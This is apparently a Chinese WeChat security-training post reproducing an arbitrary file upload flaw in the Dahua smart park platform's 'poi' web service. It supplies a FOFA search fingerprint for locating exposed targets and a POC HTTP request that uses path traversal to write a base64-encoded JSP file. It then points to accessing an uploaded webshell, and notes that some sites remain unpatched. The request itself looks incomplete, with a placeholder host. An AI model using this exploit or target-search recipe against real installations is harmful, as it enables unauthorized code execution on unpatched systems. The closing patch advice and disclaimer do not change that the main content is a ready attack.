获网安教程
免费&进群
本文由掌控安全学院- wax 投稿
没错，又是我
大华智慧园区 poi 任意文件上传漏洞复现 （截止发文时间，部分网站已修复）
还是老规矩，fofa先上
fofa指纹：body=”/WPMS/asset/lib/gridster/“
主站页面如下
上poc
POC文字版
POST /emap/webservice/gis/soap/poi HTTP/1.1
Host: e.m.p.e:ror
/../../emperor.jsp
PCVAcGFnZSBpbXBvcnQ9ImphdmEudGV4dC4qLGphdmEudXRpbC4qLGphdmEuaW8uKiIlPg
o8JQpTaW1wbGVEYXRlRm9ybWF0IGRmID0gbmV3IFNpbXBsZURhdGVGb3JtYXQoInl5eS1NTS1kZC
BISDptbTpzcyIpOwpvdXQucHJpbnRsbihkZi5mb3JtYXQobmV3IERhdGUoKSkpOwpGaWxlIGZpbGUg
PSBuZXcgRmlsZShhcHBsaWNhdGlvbi5nZXRSZWFsUGF0aChyZXF1ZXN0LmdldFNlcnZsZXRQYXRoKC
kpKTsKZmlsZS5kZWxldGUoKTsKJT4=
传了马以后直接访问
文字路径：/upload/马子.jsp
0x05 修复建议
建议使用相关系统的用户在尽快打补丁的同时，做好访问来源的限制，尽量避免大华智慧园区综合管理平台暴露在公网或不安全的网络环境中。
申明：本公众号所分享内容仅用于网络安全技术讨论，切勿用于违法途径，
所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法.
没看够~？欢迎关注！
分享本文到朋友圈，可以凭截图找老师领取
上千教程+工具+交流群+靶场账号哦
分享后扫码加我！
回顾往期内容
代理池工具撰写 | 只有无尽的跳转，没有封禁的IP！
点赞+在看支持一下吧~感谢看官老爷~
你的点赞是我更新的动力
原文始发于微信公众号（掌控安全EDU）：大华智慧园区poi任意文件上传漏洞(企业及时修复)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论